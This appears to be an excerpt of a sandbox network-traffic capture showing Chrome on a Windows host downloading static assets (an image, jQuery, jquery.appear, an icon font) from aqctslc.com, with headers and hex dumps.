2025-01-09 23:51:37 UTC	373	OUT	GET /themes/static/image/services-icon1.png HTTP/1.1 Host: aqctslc.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 23:51:37 UTC	231	IN	HTTP/1.1 200 OK Server: openresty Date: Thu, 09 Jan 2025 23:51:37 GMT Content-Type: image/png Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Cache-Control: no-transform Access-Control-Allow-Origin: *
2025-01-09 23:51:37 UTC	10091	IN	Data Raw: 32 37 35 65 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 64 00 00 00 58 08 06 00 00 01 74 5d 62 14 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 26 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 34 35 20 37 39 2e 31 36 33 34 39 39 2c 20 32 30 31 38 2f 30 38 2f 31 33 2d 31 36 3a 34 Data Ascii: 275ePNGIHDRdXt]btEXtSoftwareAdobe ImageReadyqe<&iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.6	49785	38.165.16.38	443	6232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:51:37 UTC	365	OUT	GET /themes/static/js/jquery.min.js HTTP/1.1 Host: aqctslc.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 23:51:38 UTC	244	IN	HTTP/1.1 200 OK Server: openresty Date: Thu, 09 Jan 2025 23:51:38 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Cache-Control: no-transform Access-Control-Allow-Origin: *
2025-01-09 23:51:38 UTC	16140	IN	Data Raw: 66 66 61 38 0d 0a 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 35 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 Data Ascii: ffa8/! jQuery v3.5.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("
2025-01-09 23:51:38 UTC	16384	IN	Data Raw: 2e 6c 61 73 74 43 68 69 6c 64 5d 2c 6d 26 26 70 29 7b 64 3d 28 73 3d 28 72 3d 28 69 3d 28 6f 3d 28 61 3d 63 29 5b 53 5d 7c 7c 28 61 5b 53 5d 3d 7b 7d 29 29 5b 61 2e 75 6e 69 71 75 65 49 44 5d 7c 7c 28 6f 5b 61 2e 75 6e 69 71 75 65 49 44 5d 3d 7b 7d 29 29 5b 68 5d 7c 7c 5b 5d 29 5b 30 5d 3d 3d 3d 6b 26 26 72 5b 31 5d 29 26 26 72 5b 32 5d 2c 61 3d 73 26 26 63 2e 63 68 69 6c 64 4e 6f 64 65 73 5b 73 5d 3b 77 68 69 6c 65 28 61 3d 2b 2b 73 26 26 61 26 26 61 5b 6c 5d 7c 7c 28 64 3d 73 3d 30 29 7c 7c 75 2e 70 6f 70 28 29 29 69 66 28 31 3d 3d 3d 61 2e 6e 6f 64 65 54 79 70 65 26 26 2b 2b 64 26 26 61 3d 3d 3d 65 29 7b 69 5b 68 5d 3d 5b 6b 2c 73 2c 64 5d 3b 62 72 65 61 6b 7d 7d 65 6c 73 65 20 69 66 28 70 26 26 28 64 3d 73 3d 28 72 3d 28 69 3d 28 6f 3d 28 61 3d 65 29 Data Ascii: .lastChild],m&&p){d=(s=(r=(i=(o=(a=c)[S]\|\|(a[S]={}))[a.uniqueID]\|\|(o[a.uniqueID]={}))[h]\|\|[])[0]===k&&r[1])&&r[2],a=s&&c.childNodes[s];while(a=++s&&a&&a[l]\|\|(d=s=0)\|\|u.pop())if(1===a.nodeType&&++d&&a===e){i[h]=[k,s,d];break}}else if(p&&(d=s=(r=(i=(o=(a=e)
2025-01-09 23:51:38 UTC	16384	IN	Data Raw: 72 65 74 75 72 6e 20 6c 2e 63 61 6c 6c 28 53 28 65 29 2c 6e 29 7d 29 29 2c 74 29 29 66 6f 72 28 3b 73 3c 75 3b 73 2b 2b 29 74 28 65 5b 73 5d 2c 6e 2c 61 3f 72 3a 72 2e 63 61 6c 6c 28 65 5b 73 5d 2c 73 2c 74 28 65 5b 73 5d 2c 6e 29 29 29 3b 72 65 74 75 72 6e 20 69 3f 65 3a 6c 3f 74 2e 63 61 6c 6c 28 65 29 3a 75 3f 74 28 65 5b 30 5d 2c 6e 29 3a 6f 7d 2c 5f 3d 2f 5e 2d 6d 73 2d 2f 2c 7a 3d 2f 2d 28 5b 61 2d 7a 5d 29 2f 67 3b 66 75 6e 63 74 69 6f 6e 20 55 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 2e 74 6f 55 70 70 65 72 43 61 73 65 28 29 7d 66 75 6e 63 74 69 6f 6e 20 58 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 72 65 70 6c 61 63 65 28 5f 2c 22 6d 73 2d 22 29 2e 72 65 70 6c 61 63 65 28 7a 2c 55 29 7d 76 61 72 20 56 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 Data Ascii: return l.call(S(e),n)})),t))for(;s<u;s++)t(e[s],n,a?r:r.call(e[s],s,t(e[s],n)));return i?e:l?t.call(e):u?t(e[0],n):o},_=/^-ms-/,z=/-([a-z])/g;function U(e,t){return t.toUpperCase()}function X(e){return e.replace(_,"ms-").replace(z,U)}var V=function(e){ret
2025-01-09 23:51:38 UTC	16384	IN	Data Raw: 65 7d 2c 63 6c 6f 6e 65 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 76 61 72 20 72 2c 69 2c 6f 2c 61 2c 73 2c 75 2c 6c 2c 63 3d 65 2e 63 6c 6f 6e 65 4e 6f 64 65 28 21 30 29 2c 66 3d 69 65 28 65 29 3b 69 66 28 21 28 79 2e 6e 6f 43 6c 6f 6e 65 43 68 65 63 6b 65 64 7c 7c 31 21 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 26 26 31 31 21 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 7c 7c 53 2e 69 73 58 4d 4c 44 6f 63 28 65 29 29 29 66 6f 72 28 61 3d 76 65 28 63 29 2c 72 3d 30 2c 69 3d 28 6f 3d 76 65 28 65 29 29 2e 6c 65 6e 67 74 68 3b 72 3c 69 3b 72 2b 2b 29 73 3d 6f 5b 72 5d 2c 75 3d 61 5b 72 5d 2c 76 6f 69 64 20 30 2c 22 69 6e 70 75 74 22 3d 3d 3d 28 6c 3d 75 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 26 26 70 65 2e 74 65 73 74 28 73 2e 74 Data Ascii: e},clone:function(e,t,n){var r,i,o,a,s,u,l,c=e.cloneNode(!0),f=ie(e);if(!(y.noCloneChecked\|\|1!==e.nodeType&&11!==e.nodeType\|\|S.isXMLDoc(e)))for(a=ve(c),r=0,i=(o=ve(e)).length;r<i;r++)s=o[r],u=a[r],void 0,"input"===(l=u.nodeName.toLowerCase())&&pe.test(s.t
2025-01-09 23:51:38 UTC	16384	IN	Data Raw: 6e 70 75 74 22 29 29 2e 76 61 6c 75 65 3d 22 74 22 2c 72 74 2e 74 79 70 65 3d 22 72 61 64 69 6f 22 2c 79 2e 72 61 64 69 6f 56 61 6c 75 65 3d 22 74 22 3d 3d 3d 72 74 2e 76 61 6c 75 65 3b 76 61 72 20 70 74 2c 64 74 3d 53 2e 65 78 70 72 2e 61 74 74 72 48 61 6e 64 6c 65 3b 53 2e 66 6e 2e 65 78 74 65 6e 64 28 7b 61 74 74 72 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 24 28 74 68 69 73 2c 53 2e 61 74 74 72 2c 65 2c 74 2c 31 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 0d 0a 35 64 64 63 0d 0a 67 74 68 29 7d 2c 72 65 6d 6f 76 65 41 74 74 72 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 53 2e 72 65 6d 6f 76 65 41 74 74 72 28 74 68 69 73 2c 65 29 7d 29 7d 7d 29 2c 53 2e Data Ascii: nput")).value="t",rt.type="radio",y.radioValue="t"===rt.value;var pt,dt=S.expr.attrHandle;S.fn.extend({attr:function(e,t){return $(this,S.attr,e,t,1<arguments.len5ddcgth)},removeAttr:function(e){return this.each(function(){S.removeAttr(this,e)})}}),S.
2025-01-09 23:51:38 UTC	7821	IN	Data Raw: 7d 2c 7a 74 3d 53 2e 61 6a 61 78 53 65 74 74 69 6e 67 73 2e 78 68 72 28 29 3b 79 2e 63 6f 72 73 3d 21 21 7a 74 26 26 22 77 69 74 68 43 72 65 64 65 6e 74 69 61 6c 73 22 69 6e 20 7a 74 2c 79 2e 61 6a 61 78 3d 7a 74 3d 21 21 7a 74 2c 53 2e 61 6a 61 78 54 72 61 6e 73 70 6f 72 74 28 66 75 6e 63 74 69 6f 6e 28 69 29 7b 76 61 72 20 6f 2c 61 3b 69 66 28 79 2e 63 6f 72 73 7c 7c 7a 74 26 26 21 69 2e 63 72 6f 73 73 44 6f 6d 61 69 6e 29 72 65 74 75 72 6e 7b 73 65 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 3d 69 2e 78 68 72 28 29 3b 69 66 28 72 2e 6f 70 65 6e 28 69 2e 74 79 70 65 2c 69 2e 75 72 6c 2c 69 2e 61 73 79 6e 63 2c 69 2e 75 73 65 72 6e 61 6d 65 2c 69 2e 70 61 73 73 77 6f 72 64 29 2c 69 2e 78 68 72 46 69 65 6c 64 73 29 66 6f 72 28 Data Ascii: },zt=S.ajaxSettings.xhr();y.cors=!!zt&&"withCredentials"in zt,y.ajax=zt=!!zt,S.ajaxTransport(function(i){var o,a;if(y.cors\|\|zt&&!i.crossDomain)return{send:function(e,t){var n,r=i.xhr();if(r.open(i.type,i.url,i.async,i.username,i.password),i.xhrFields)for(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.6	49786	38.165.16.38	443	6232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:51:37 UTC	365	OUT	GET /themes/static/js/appear.min.js HTTP/1.1 Host: aqctslc.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 23:51:38 UTC	244	IN	HTTP/1.1 200 OK Server: openresty Date: Thu, 09 Jan 2025 23:51:38 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Cache-Control: no-transform Access-Control-Allow-Origin: *
2025-01-09 23:51:38 UTC	1856	IN	Data Raw: 37 33 34 0d 0a 2f 2a 0d 0a 20 2a 20 6a 51 75 65 72 79 2e 61 70 70 65 61 72 0d 0a 20 2a 20 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 62 61 73 32 6b 2f 6a 71 75 65 72 79 2e 61 70 70 65 61 72 2f 0d 0a 20 2a 20 68 74 74 70 3a 2f 2f 63 6f 64 65 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 70 2f 6a 71 75 65 72 79 2d 61 70 70 65 61 72 2f 0d 0a 20 2a 20 68 74 74 70 3a 2f 2f 62 61 73 32 6b 2e 72 75 2f 0d 0a 20 2a 0d 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 32 30 30 39 20 4d 69 63 68 61 65 6c 20 48 69 78 73 6f 6e 0d 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 32 30 31 32 2d 32 30 31 34 20 41 6c 65 78 61 6e 64 65 72 20 42 72 6f 76 69 6b 6f 76 0d 0a 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 6c 69 63 65 Data Ascii: 734/* * jQuery.appear * https://github.com/bas2k/jquery.appear/ * http://code.google.com/p/jquery-appear/ * http://bas2k.ru/ * * Copyright (c) 2009 Michael Hixson * Copyright (c) 2012-2014 Alexander Brovikov * Licensed under the MIT lice

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.6	49789	38.165.16.38	443	6232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:51:37 UTC	621	OUT	GET /themes/static/fonts/remixicon%EF%B9%96t=1590207869815.woff2 HTTP/1.1 Host: aqctslc.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://aqctslc.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://aqctslc.com/themes/static/css/remixicon.css Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 23:51:38 UTC	223	IN	HTTP/1.1 200 OK Server: openresty Date: Thu, 09 Jan 2025 23:51:38 GMT Content-Type: application/x-font-woff2 Transfer-Encoding: chunked Connection: close Cache-Control: no-transform Access-Control-Allow-Origin: *
2025-01-09 23:51:38 UTC	16161	IN	Data Raw: 66 66 61 38 0d 0a 77 4f 46 32 00 01 00 00 00 01 e9 54 00 0b 00 00 00 06 26 70 00 01 e9 01 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1c 54 06 56 00 81 fb 14 0a 93 96 64 90 92 46 01 36 02 24 03 c5 18 0b c5 1c 00 04 20 05 86 2a 07 82 a6 32 5b f1 40 b5 90 22 5d 6c e7 3d 8e 60 88 87 5e fb a0 a7 44 49 92 bf 8d 01 2d 5f fb 05 d9 e6 14 78 d4 ed 1a de 9a f8 1a 97 60 e3 23 e8 cd 1e 3d 08 94 37 63 9b ca 90 ba ff 74 f6 ff ff ff ff ff ff ff ff ff ff ff 7f 03 c9 22 ca ad ea 9a de ea d9 9d 27 9f 21 21 21 0a 22 0a f8 7c f8 20 82 82 77 46 11 26 6b 9c 50 6a c3 44 ba 51 9e cd b1 30 b3 40 25 4b b3 7a b6 5c e3 08 1b d6 49 40 66 9b 2a 51 41 a9 c7 7e 61 76 7b 9f 48 0f 3f d9 13 5f 71 f9 6d 48 1d 54 76 58 f0 c3 f3 dd be a1 a0 0c bb fa ca ef 05 55 6b Data Ascii: ffa8wOF2T&pTVdF6$ 2[@"]l=`^DI-_x`#=7ct"'!!!"\| wF&kPjDQ0@%Kz\I@fQA~av{H?_qmHTvXUk
2025-01-09 23:51:38 UTC	16384	IN	Data Raw: bf 11 f3 da d0 30 99 43 98 99 9a 8f 81 b4 46 66 38 84 03 0b 72 be 2a d3 98 bb 53 04 0b bc 97 07 fd d4 c6 62 91 11 dc 3c ac c9 c3 aa d3 a0 5b 03 90 c1 6a 05 84 e2 46 18 9e 1e c2 32 a5 e4 bc 80 f2 9c ca d6 ab 0a 93 93 0c 37 67 33 2f 67 d3 60 7f a7 47 7e 39 4c d7 6c dc 96 8c 7c e4 29 93 84 55 a7 85 b7 06 28 03 cf 29 ed 8c 06 9e 27 2c e7 d5 04 2a a1 94 fc bd b7 8a 94 93 60 68 d7 34 ce 31 18 1d d3 6f f4 30 bb 9e 05 41 20 e9 b1 55 08 aa e9 8d 71 6b 32 49 d6 61 40 02 62 bb 98 d0 c2 5a db c1 9e 69 10 5a 4e 48 40 9e d6 ef 81 58 43 02 68 dc 91 cc 8d 77 4a b2 29 bc 12 bd b9 0d 84 db b4 26 b2 cf 6e 09 62 df 21 23 80 14 79 16 aa d4 b5 2e 3b 18 7e 5a a0 bf 61 c4 92 85 44 cf 68 b5 19 77 09 65 70 0e 66 44 6e d1 19 13 19 68 c1 48 9b f6 a7 70 10 95 2d 96 a0 6c 90 1c b9 4a Data Ascii: 0CFf8rSb<[jF27g3/g`G~9Ll\|)U()',`h41o0A Uqk2Ia@bZiZNH@XChwJ)&nb!#y.;~ZaDhwepfDnhHp-lJ
2025-01-09 23:51:38 UTC	16384	IN	Data Raw: 83 01 0d b4 4e 04 a6 d4 1a 07 db 64 5f 30 e9 5d 09 b3 a1 a0 91 cb 15 dc 81 e1 81 f4 b0 f6 f9 8e 9c bb 03 ff 37 e8 a0 2e a6 76 41 50 ab af 3d a7 4a 1a 3f d1 fa 72 b8 80 92 a1 a5 b6 08 ca 2a 21 ea 20 29 58 8b a4 4d 5b e9 f9 ee 4a 6b 96 8c 30 5f ec 28 5f 90 e0 35 fa 37 c9 20 6e 84 4a d6 0a e0 60 f9 05 49 32 63 29 ba 05 66 09 7b 10 46 4f 7f 09 59 ba 7e 85 4c e4 69 17 aa 4d 2a 43 ff 8b a3 b4 24 a7 24 29 ad c0 3b 66 fa 64 1b 54 ae ec 6d c5 c1 9f 94 56 f8 10 0f 93 89 26 83 cc 5a 38 a4 f4 15 50 e3 da 9f b1 9d ac 35 bc 29 d1 16 6a ca 2b dd 34 65 3d ac f0 a6 03 6b 45 5a 09 24 ee 76 83 fb 47 3b 7d 61 7a c1 ab 26 f7 23 f5 5f 18 14 cf 60 d6 b9 4f 5f 23 39 ec 7a 9b 2c c9 43 8e d9 89 54 e0 bc 42 cf 3f 02 7a 84 aa 5a 40 a7 1f 17 49 5e 17 84 e0 f1 34 77 ae 60 b2 84 66 78 Data Ascii: Nd_0]7.vAP=J?r! )XM[Jk0_(_57 nJ`I2c)f{FOY~LiMC$$);fdTmV&Z8P5)j+4e=kEZ$vG;}az&#_`O_#9z,CTB?zZ@I^4w`fx
2025-01-09 23:51:38 UTC	16384	IN	Data Raw: 9e 86 4c b5 ab c7 b1 ec 38 7b bb a5 29 36 f9 47 d9 c0 ba d5 bf 4a d6 f2 ff e3 bc f1 ec e0 2a 93 db d3 76 a5 6a 4b 05 ce 25 5f 5e a5 d7 ed 79 b2 1f 06 d1 ad 2f 7b 09 17 10 1b 5d df 07 13 4a 0d b1 60 60 fe 1d ed d5 5e c0 62 d4 54 f1 48 af f6 03 6a 65 75 98 f9 7a 4b a4 58 2e d1 1d 15 ae 3f c2 f9 a5 18 3d be 32 05 0a 68 1d 9a 48 6c 81 21 98 86 c2 bf dc be 52 08 ff c0 c5 14 6d 77 4d 04 f9 90 f3 d5 c2 33 a3 f3 9d 94 2f 5a 4e cd c4 d2 af 89 6f f8 2a 92 c5 ec 6e 4a d6 44 16 cf 70 b2 8e b6 41 3d c1 dc b9 4b 52 08 67 3c 93 4e 79 2b be e4 d7 0f fa 64 a1 ef ef 90 f5 ad d3 e0 d5 b6 07 25 bd c4 20 77 fb 78 29 bf a2 03 05 9a 5f 96 f8 4f 40 2c 16 9c dc 96 59 8c 23 a5 82 f0 c2 99 72 31 d5 7a ff 6a 57 d2 93 7c c0 24 06 d2 17 ad 56 60 0c c7 2f 2b 0e 28 6b 4d 6a 3c 93 0c 28 Data Ascii: L8{)6GJvjK%_^y/{]J``^bTHjeuzKX.?=2hHl!RmwM3/ZNonJDpA=KRg<Ny+d% wx)_O@,Y#r1zjW\|$V`/+(kMj<(
2025-01-09 23:51:38 UTC	16384	IN	Data Raw: e8 81 aa d2 35 48 3c 26 a5 4e fc 2f 8a a9 62 f0 00 35 b6 df f9 1c 96 85 37 e5 17 81 65 4d 72 6c 46 0c 4b 4f df 3f 3d 41 6a 39 58 96 5f 84 37 59 c5 df 97 de 69 13 cb 51 3f 2b 89 4f 91 7b 31 ed 1a 7e 1f 7a c0 de bc 38 78 7e b8 4d c5 ae 41 37 f5 ee c2 fe a1 6d be 8a 11 85 fb 09 4f bb b2 fa 37 dd 79 17 42 99 3a ea 9e 17 fb 65 2c 02 e7 e3 a8 ff 4e 46 39 a0 53 c4 fa 83 e1 40 35 95 38 3b 54 bc f8 f5 82 b7 b6 2d c7 59 2b 2a 92 0d 0a 65 39 61 63 0d 0a 63 29 e5 4e 3f f3 f5 4f 6d 47 a8 a3 4c 2c 0d 3f 6a da 12 a5 a4 98 44 dd 46 a9 c0 d6 89 b6 a3 7c 68 9b e7 91 1f 17 17 bc 4c 58 d9 bd 9e 4d e1 e2 32 43 87 ef 72 89 10 7e 16 87 45 3c dd 84 b6 ed 97 cf 90 f8 fb e7 02 7a 2e 0d a6 32 31 6b f3 a5 cc 1c ba fa 31 28 98 dd 40 50 c8 d5 3d ad fa af 0b 82 5a 21 c5 eb 9b 75 ea 1c Data Ascii: 5H<&N/b57eMrlFKO?=Aj9X_7YiQ?+O{1~z8x~MA7mO7yB:e,NF9S@58;T-Y+*e9acc)N?OmGL,?jDF\|hLXM2Cr~E<z.21k1(@P=Z!u
2025-01-09 23:51:38 UTC	16384	IN	Data Raw: 12 fd 31 26 eb b8 79 75 65 26 b7 24 f1 66 2e f8 03 8e 13 19 b9 37 8e 24 95 d3 48 33 00 4b 51 f8 c7 43 89 76 b3 35 78 b8 c0 f0 c5 cc 18 75 3a 5b 79 e2 2f 08 d6 ea 82 ef f8 3d 7d 00 5b 06 40 3b 52 c1 0b e0 27 4f 7c db db e2 3b af da 75 ce c6 99 68 5b e7 0d 3f 12 e6 34 c7 2f ff d3 d0 43 bb e4 03 94 c9 de f8 36 f2 21 85 3d 85 5f 11 6c 7e ff dc 29 e9 ae f7 3b b2 c9 2b a8 ed b6 57 72 41 33 8e 87 53 1e 6a 2f 7f 49 13 a1 6b 41 f7 5c b5 e7 10 cf 6b d1 18 5b 06 d6 54 cc 61 8b fd 6e 88 2e 89 e0 b5 61 2c 12 2d 82 d7 53 84 05 7d 41 8e 72 ff e4 b3 ae b0 66 7b bb f6 02 11 f1 e2 f7 89 fb d2 fd a3 5b 97 74 75 55 fa bf 1d 95 ef c6 fe c7 78 e3 4b 13 8a 73 ae 39 9a 73 f1 52 66 c0 c6 b4 8d 0a b3 01 b3 c9 0c 4b 3b b1 3c 89 e2 c8 f1 d7 be e3 55 25 49 c3 37 8c d7 a8 53 97 d5 95 Data Ascii: 1&yue&$f.7$H3KQCv5xu:[y/=}[@;R'O\|;uh[?4/C6!=_l~);+WrA3Sj/IkA\k[Tan.a,-S}Arf{[tuUxKs9sRfK;<U%I7S
2025-01-09 23:51:38 UTC	16384	IN	Data Raw: 6e 9e 4f 29 1c 77 2a 8f 27 35 35 64 1a 68 0a e9 ca 4a a7 cd 76 9a 4c c6 36 88 eb 36 29 b2 4e 52 74 48 f3 de bf 0b 8e a7 da 4e 95 9d a2 42 4a 87 8b 3b 4c aa cd e6 87 f6 8b 85 78 b2 74 c9 95 01 8c b6 00 f6 bc a3 1e 37 18 e6 d5 21 3a e9 ab da fc 37 63 53 3a 61 06 fd 83 71 70 60 26 f5 a9 81 0b de 1b 5a 73 9d a0 64 57 b9 da 4e 0c c3 24 e4 57 57 37 0b 0a 78 9d 3a 75 67 0a 39 76 39 ad 5d 36 1d 82 8b 48 dc 22 a9 fb 35 28 29 7a 6a 83 f3 d4 1f ac 4a 86 7a b2 d8 ff 28 71 4e 2d 02 a2 4d 5b 8c 16 7a 45 e9 5e 63 68 25 62 6f 6b 60 0a ad 3d db 74 b3 69 76 3b 85 b6 16 a5 7b 14 ac 9d 40 98 3b e5 43 93 08 5c 78 fb 16 88 62 3a 2c a0 c1 62 b5 fa cb 7b bf e7 f1 f1 bd ba 79 6d 91 fb e1 64 74 bc d7 61 73 79 85 b4 98 87 12 3e 12 1f b7 73 57 7a 24 0f b8 77 f7 ee 3d 44 ff ac 67 76 Data Ascii: nO)w*'55dhJvL66)NRtHNBJ;Lxt7!:7cS:aqp`&ZsdWN$WW7x:ug9v9]6H"5()zjJz(qN-M[zE^ch%bok`=tiv;{@;C\xb:,b{ymdtasy>sWz$w=Dgv
2025-01-09 23:51:38 UTC	10824	IN	Data Raw: 1e a3 23 2c a3 d2 4e 20 3a e3 14 0b af 76 0d e1 a3 c0 a4 d4 72 04 c7 9c f2 ab 42 6b 5c 23 f1 d5 7c 9d 39 7b 04 63 0f c8 89 ac d1 00 d7 ce 11 c8 af ce 68 79 20 f8 cc 8d 81 f5 f8 77 08 48 5b f1 5b 28 0b 81 95 4d 4e 9e a9 7b ce f5 28 df 32 6b c2 ce 67 59 34 a8 ab f7 b4 62 93 5b 6b 24 83 4e fb 71 d4 11 ab 72 0b f5 a0 c9 2f af 96 66 67 d0 15 84 8a 95 fd cc 72 b2 11 87 46 2e a5 d6 8b 7a 49 b5 ab 12 e4 50 6a 3e 1d f4 f4 d9 02 51 e8 32 33 47 40 82 59 0e 6e 6a ce 22 71 bb 2b 6b 49 8c ee b6 2e e8 83 e1 06 8f 00 64 67 52 29 6e 13 4d 08 0c 63 11 56 94 51 44 69 27 ad ec 17 fa 8c 8a 25 59 76 d3 dc 60 de b9 31 a7 a4 87 fd 29 49 96 a6 32 05 ad d5 10 69 65 44 9d c6 24 9c 13 3c 51 47 e7 ac 2b b1 48 69 4f ea 06 e5 5e 8e aa 4d 23 f8 28 60 d1 1e 94 31 3b 21 29 47 39 7c 33 a4 Data Ascii: #,N :vrBk\#\|9{chy wH[[(MN{(2kgY4b[k$Nqr/fgrF.zIPj>Q23G@Ynj"q+kI.dgR)nMcVQDi'%Yv`1)I2ieD$<QG+HiO^M#(`1;!)G9\|3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.6	49792	38.165.16.38	443	6232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:51:37 UTC	621	OUT	GET /themes/static/image/bg1.jpg HTTP/1.1 Host: aqctslc.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://aqctslc.com/themes/static/css/style.css Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 23:51:38 UTC	183	IN	HTTP/1.1 200 OK Server: openresty Date: Thu, 09 Jan 2025 23:51:38 GMT Transfer-Encoding: chunked Connection: close Cache-Control: no-transform Access-Control-Allow-Origin: *
